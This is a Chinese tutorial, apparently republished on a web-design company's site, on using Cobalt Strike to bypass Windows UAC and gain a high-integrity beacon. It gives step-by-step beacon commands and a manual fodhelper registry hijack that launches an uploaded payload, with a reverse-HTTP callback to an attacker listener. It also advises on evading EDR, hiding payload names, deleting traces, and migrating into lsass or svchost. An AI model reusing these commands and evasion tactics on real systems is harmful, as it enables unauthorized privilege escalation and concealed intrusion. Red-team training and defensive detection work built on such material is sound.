拓冰建站拓冰建站
首页 / 资讯中心 / 正文

Cobalt Strike Bypass UAC实战:原理、方法与权限提升技巧

1. 项目概述从“权限不足”到“掌控全场”在渗透测试或红队评估的后期我们常常会遇到一个令人抓狂的提示“权限不足”。你或许已经通过钓鱼、漏洞利用或弱口令爆破成功在目标Windows主机上获得了一个初始立足点——一个反弹回来的shell。但当你试图转储LSASS进程内存、修改注册表关键项、或者向系统目录写入文件时系统却无情地拒绝了你的请求。这通常意味着你获得的只是一个“中完整性”Medium Integrity的shell用户账户控制UAC这道安全防线依然在发挥作用。UAC是微软自Vista以来引入的核心安全机制它的设计初衷是防止恶意软件在未经用户明确同意的情况下进行系统级更改。简单理解它就像你家门口的保安即使你当前用户是这栋楼的业主管理员组成员想搬动大厅里的公共家具执行高权限操作保安UAC也会要求你再次出示证件或进行二次确认。对于攻击者而言目标用户是本地管理员组成员但获得的shell权限却被限制这就是典型的“中完整性”上下文。Cobalt Strike作为一款领先的渗透测试框架其强大的后渗透能力备受推崇。其中bypassuac模块就是专门为应对上述场景而生的利器。它并非利用系统漏洞而是巧妙地滥用Windows系统内置的、拥有“自动提升”AutoElevate特性的合法程序或机制诱使系统在不弹出UAC提示框的情况下为我们生成一个“高完整性”High Integrity的shell。这个过程我们称之为“Bypass UAC”绕过用户账户控制。本文将手把手带你深入Cobalt Strike的Bypass UAC功能从原理到实操彻底告别“权限不足”的困扰实现平滑的权限提升。2. 核心原理UAC机制与Bypass的本质要有效利用Bypass UAC必须先理解我们绕过了什么。UAC并非一个简单的“是/否”开关而是一套复杂的完整性级别Integrity Level, IL和提升逻辑。2.1 完整性级别与UAC弹窗逻辑Windows进程运行在特定的完整性级别下从低到高分为低Low、中Medium、高High、系统System。普通用户启动的程序默认为“中完整性”。当属于管理员组的用户启动一个程序时系统会检查该程序的清单Manifest或启发式规则判断其是否需要“管理员”权限。如果需要且当前shell是“中完整性”则会触发UAC弹窗要求用户确认。用户确认后系统会创建一个新的、以“高完整性”运行的进程。关键在于这个提升过程是由一个名为consent.exe的系统进程以SYSTEM权限运行来管理和执行的。Bypass UAC的核心思路就是想方设法让consent.exe在用户无感知的情况下为我们启动一个高完整性进程。2.2 Bypass UAC的常见技术路径Cobalt Strike的bypassuac模块集成了多种技术主要围绕以下两类路径文件/注册表操作滥用利用那些拥有AutoElevate标记的、受信任的Windows系统程序如fodhelper.exe,eventvwr.exe,sdclt.exe等。这些程序被设计为在特定条件下自动以高权限运行而不触发UAC。攻击者通过篡改这些程序预期读取的注册表键值或配置文件将其指向我们控制的恶意可执行文件如payload从而“劫持”其自动提升的权限。COM接口与提升协议利用组件对象模型COM中一些设计缺陷或未受保护的提升接口。通过向高权限的COM服务器发送特定请求诱导其加载并执行我们提供的DLL或代码从而在目标进程中实现权限提升。Cobalt Strike的模块将这些技术封装成自动化脚本通过PowerShell或可执行文件在内存或磁盘上执行最终目的是生成一个高完整性的Beacon会话。2.3 为什么选择Cobalt Strike的Bypass UAC高度集成无需额外上传或编译第三方工具如UACME项目exe所有操作在Beacon会话内通过内置模块完成减少了暴露痕迹。多种方法提供bypassuac,bypassuac_eventvwr,bypassuac_wscript等多种子模块针对不同系统环境有更高的成功率。内存操作支持文件-less攻击通过PowerShell反射加载等技术尽可能减少磁盘写入规避部分AV/EDR的静态检测。会话维持成功后会直接生成一个新的、高完整性的Beacon会话与C2服务器通信便于后续的横向移动、权限维持等操作。3. 环境准备与前置条件在开始实操前必须确保满足以下条件否则Bypass UAC尝试必然失败。3.1 目标系统与用户条件操作系统版本Bypass UAC技术高度依赖于具体的Windows版本和补丁。本文讨论的技术主要适用于Windows 7到Windows 10/11以及对应的Server版本。微软会通过系统更新修复已知的Bypass方法因此较新的、完全打齐补丁的系统可能使某些方法失效。用户权限当前已获得的Beacon会话所属用户必须是目标本地“Administrators”组的成员。这是Bypass UAC的前提。如果当前用户只是一个普通用户Users组那么UAC绕过技术是无效的你需要先通过其他提权漏洞如内核漏洞、服务配置错误等将自己加入管理员组。UAC设置级别目标系统的UAC设置不能为“最高级别”。在最高级别下任何操作都需要确认包括安全桌面切换这会阻断大多数Bypass技术。通常默认的“仅在程序尝试更改计算机时通知我”级别是可利用的。你可以通过shell reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin命令快速查看值为5或2通常表示可尝试绕过值为1则难度极大。3.2 攻击者Cobalt Strike配置监听器Listener确保你已经配置好一个可用的监听器如HTTP、HTTPS。新的高完整性Beacon会话将通过此监听器回连。初始Beacon会话你已经通过某种方式例如鱼叉攻击、漏洞利用、凭证窃取等在目标机器上获得了一个中完整性的Beacon会话。你可以通过Beacon的getuid和run whoami /groups | findstr Mandatory命令来初步判断。如果getuid显示的用户在管理员组但执行高权限操作失败且完整性级别为“Medium”那么就是Bypass Uac的典型场景。注意在实际测试中务必在授权的环境中进行。未经授权对任何系统进行渗透测试是非法行为。4. 实操演练Cobalt Strike Bypass UAC全流程假设我们已经获得了一个目标Windows 10主机版本1909上的Beacon会话用户CSDOMAIN\jdoe是本地管理员组成员但当前会话权限受限。4.1 信息收集与条件确认首先在Beacon中使用shell命令执行系统命令收集关键信息。# 查看当前用户和组 shell whoami shell net user jdoe | findstr “Local Group Memberships” # 或更精确地查看管理员组 shell net localgroup administrators # 查看系统信息特别是版本号 shell systeminfo | findstr /B /C:“OS Name” /C:“OS Version” /C:“OS Build” # 查看UAC设置 (值说明1始终通知2默认5不通知但安全桌面) shell reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin确认jdoe在administrators组中并且UAC设置不是1。例如看到ConsentPromptBehaviorAdmin REG_DWORD 0x5这是一个利好条件。4.2 使用bypassuac模块Cobalt Strike的bypassuac是一个“攻击”Attack包它内部会尝试多种方法。选择模块在Beacon中输入bypassuac然后按Tab键补全。你会看到类似bypassuac [listener]的提示。beacon bypassuac [*] Tasked beacon to spawn windows/beacon_http/reverse_http (192.168.1.100:80) in a high integrity context这里需要指定一个监听器名称。假设你已有一个名为http80的HTTP监听器。beacon bypassuac http80执行与等待执行命令后Cobalt Strike会在目标机器上执行一系列操作。如果成功团队服务器Team Server的事件日志Event Log会显示“Beacon called home”等信息并且你会看到一个新的Beacon会话出现在目标下方其图标可能带有一个小盾牌取决于Cobalt Strike主题表示高完整性。验证结果切换到新生成的Beacon会话执行getuid和run whoami /groups | findstr Mandatory。现在你应该看到完整性级别是“High”。尝试执行之前失败的高权限命令如ls \\C$或mimikatz现在应该可以成功了。4.3 使用特定方法模块bypassuac_eventvwr如果通用的bypassuac模块失败可能因为目标系统已修补了其默认使用的技术可以尝试更具体的方法。bypassuac_eventvwr是一个经典且曾经非常有效的方法它滥用Windows事件查看器eventvwr.exe的注册表劫持。生成Payload首先你需要为高完整性会话准备一个Payload。在Cobalt Strike的“攻击”Attacks - “包”Packages - “Windows可执行文件S”中选择你的监听器如http80输出格式选择“Windows EXE”勾选“x64”如果目标系统是64位然后生成一个exe文件例如highbeacon.exe。上传与执行模块将生成的highbeacon.exe上传到目标机器的可写目录例如C:\Users\Public。beacon upload /path/to/highbeacon.exe beacon cd C:\Users\Public然后在Beacon中直接运行bypassuac_eventvwr模块并指定上传的exe路径。beacon bypassuac_eventvwr C:\Users\Public\highbeacon.exe原理简述该技术利用了eventvwr.exe启动时会检查HKCR\mscfile\shell\open\command注册表键值的特性。默认情况下此键值指向%SystemRoot%\system32\mmc.exe。模块会临时修改此键值指向我们上传的highbeacon.exe然后启动eventvwr.exe。由于eventvwr.exe具有AutoElevate属性它会自动以高权限启动从而顺带执行了我们的恶意exe。执行后模块会清理注册表痕迹。4.4 使用bypassuac_wscript模块另一个常见的方法是滥用wscript.exe或cscript.exe。这个方法通过修改HKCU\Environment下的注册表键利用“COM劫持”或脚本执行上下文来提权。在Beacon中使用方式与bypassuac类似需要指定监听器beacon bypassuac_wscript http80这个模块通常会生成一个JavaScript或VBScript文件在临时目录并利用wscript.exe执行它最终生成高完整性Beacon。5. 进阶技巧与深度解析5.1 模块选择与失败排查没有一种Bypass UAC方法能保证100%成功。实战中需要根据情况尝试。尝试顺序通常先尝试bypassuac通用模块如果失败再按bypassuac_eventvwr-bypassuac_wscript- 其他模块的顺序尝试。也可以查阅Cobalt Strike官方文档或社区了解各模块适用的系统版本。失败原因分析权限不足当前用户非管理员组。重新检查whoami /groups。UAC设置为最高ConsentPromptBehaviorAdmin值为1。这种情况下Bypass极其困难可能需要社会工程诱导用户点击或寻找其他提权路径。防病毒/EDR拦截Bypass操作如注册表修改、可疑进程链被安全软件检测并阻止。可以尝试使用execute-assembly运行内存中的.NET版Bypass工具或使用更冷门的方法。系统已修补目标系统已安装KB补丁修复了该Bypass方法利用的漏洞。需要寻找更新的0day或1day方法。日志查看密切关注Cobalt Strike团队服务器的事件日志里面常有错误信息提示例如“Bypass UAC failed: operation returned error 5 (Access Denied)”等。5.2 规避检测与痕迹清理Bypass UAC操作会在系统中留下痕迹熟练的蓝队或EDR可以检测到。进程链异常EDR会监控例如中等完整性进程 - 修改注册表 - 启动受信任系统程序 - 生成高权限子进程这样的可疑链条。使用bypassuac_eventvwr会创建eventvwr.exe - highbeacon.exe的进程树。注册表监控对HKCR\mscfile\shell\open\command等关键注册表路径的临时修改会被记录。规避建议使用内存执行优先使用bypassuac或bypassuac_wscript这类更多依赖内存中PowerShell执行的方法减少磁盘文件落地。延迟执行某些模块允许指定延迟时间让恶意操作与触发行为在时间上分离扰乱检测。自定义二进制路径如果必须上传文件不要使用默认名称或常见路径。可以放在C:\Windows\Temp或C:\Users\Public下并使用看似合法的名称。及时清理Cobalt Strike的模块通常包含自动清理功能但失败时可能留下残骸。手动检查并清理临时目录%TEMP%和注册表键值。组合技术在获得高权限后立即迁移进程ps-migrate到一个稳定的、看似合法的系统进程如lsass.exe,svchost.exe中以脱离可疑的进程链。5.3 替代方案与手动Bypass当Cobalt Strike内置模块全部失效时可以考虑以下方案使用runas与保存的凭据如果目标机器上曾以管理员身份运行过程序并保存了凭据通过cmdkey /list查看可以直接使用runas /savecred /user:Administrator “cmd.exe”来获得高权限命令行。但这不属于UAC绕过且依赖已保存的凭据。使用execute-assembly运行第三方工具将UACME项目的.NET编译版本如Uacme.Net或RogueWinRM等工具的Assembly上传并内存执行。例如beacon execute-assembly /path/to/Uacme.Net.exe 方法编号 监听器参数这需要你提前了解工具用法并准备好对应的可执行文件。手动实现已知Bypass例如手动执行fodhelper.exeBypass。原理是修改HKCU\Software\Classes\ms-settings\shell\open\command下的注册表值然后启动fodhelper.exe。可以在Beacon中用shell命令一步步操作# 创建注册表项和值指向你的Payload shell reg add “HKCU\Software\Classes\ms-settings\Shell\Open\command” /d “C:\Users\Public\highbeacon.exe” /f shell reg add “HKCU\Software\Classes\ms-settings\Shell\Open\command” /v “DelegatedExecute” /t REG_SZ /f # 执行fodhelper.exe shell C:\Windows\System32\fodhelper.exe # 等待几秒后清理注册表 shell reg delete “HKCU\Software\Classes\ms-settings\Shell\Open\command” /f6. 常见问题与排查实录在实际操作中你可能会遇到各种问题。以下是一些常见场景及解决思路。问题现象可能原因排查与解决步骤执行bypassuac后无新会话产生事件日志无错误。1. Payload生成或执行失败但未报错。2. 网络通信问题新Beacon无法回连。3. 模块执行被静默阻断。1. 在目标机器临时目录查看是否有新进程产生shell tasklist | findstr beacon。2. 检查监听器配置是否正确防火墙是否放行。3. 尝试使用bypassuac的verbose模式如果支持或换用其他模块。事件日志显示“Access is denied” (错误5)。1. 当前会话用户权限不足非管理员。2. 对关键注册表路径如HKCR无写权限。3. 防病毒软件阻止注册表修改。1. 确认whoami /groups输出包含BUILTIN\Administrators。2. 尝试使用基于当前用户配置单元HKCU的Bypass方法如bypassuac_wscript。3. 暂时禁用或绕过AV或尝试内存执行方式。新会话产生但仍然是中完整性。1. Bypass技术对当前系统版本无效。2. UAC设置为“始终通知”级别1。3. Bypass过程被部分拦截Payload虽执行但未提升。1. 核对系统版本和补丁尝试其他Bypass模块。2. 检查ConsentPromptBehaviorAdmin注册表值。3. 查看新进程的父进程是否为consent.exe或具有自动提升属性的系统进程。Bypass操作成功但新会话很快断开或被杀。1. 生成的Payload被终端防护EPP/EDR静态或动态检测。2. 可疑的进程链如从eventvwr.exe生成未知exe被行为检测引擎终止。1. 使用Cobalt Strike的Artifact Kit生成免杀Payload。2. 成功获得高权限会话后立即使用migrate命令迁移到稳定系统进程。3. 考虑使用更隐蔽的启动方式如服务、计划任务、WMI事件订阅等。bypassuac_eventvwr执行后eventvwr.exe正常打开但无新会话。1. 注册表劫持失败eventvwr.exe仍执行了原mmc.exe。2. 上传的Payload路径错误或执行失败。3. Payload本身无法运行架构不符、依赖缺失。1. 手动执行reg query HKCR\mscfile\shell\open\command检查劫持是否成功。2. 确认上传的exe文件在指定路径存在且可执行。3. 确保Payload架构x86/x64与系统匹配。个人实操心得信息收集是第一步也是最重要的一步。不要一上来就运行bypassuac。先花时间用shell systeminfo,shell whoami /all,shell reg query …等命令摸清目标环境系统版本、补丁、UAC级别、安全产品能极大提高成功率避免无谓的尝试和暴露。保持模块更新。Cobalt Strike的Aggressor Script社区会不断更新和添加新的Bypass方法。定期更新你的工具包确保拥有应对新系统环境的武器。高权限不等于为所欲为。即使获得了高完整性Beacon现代EDR仍然可以通过内核回调、ETW事件等监控你的行为。提权后应尽快进行凭证窃取、信息收集并规划横向移动而不是长时间在高权限下进行大量可疑操作。失败是常态。在内网渗透中遇到打满补丁的Win10/11或Server 2019/2022是常事。当所有Bypass UAC方法都失效时就要回归基础寻找其他提权向量如服务权限配置错误、不安全的注册表键、可写路径注入、内核漏洞需结合信息收集中的补丁情况等。UAC绕过只是权限提升武器库中的一件利器而非万能钥匙。
分享:

看完干货,该让你的企业上线了

免费需求沟通 · 48 小时内出具建站方案 · 河南本地可上门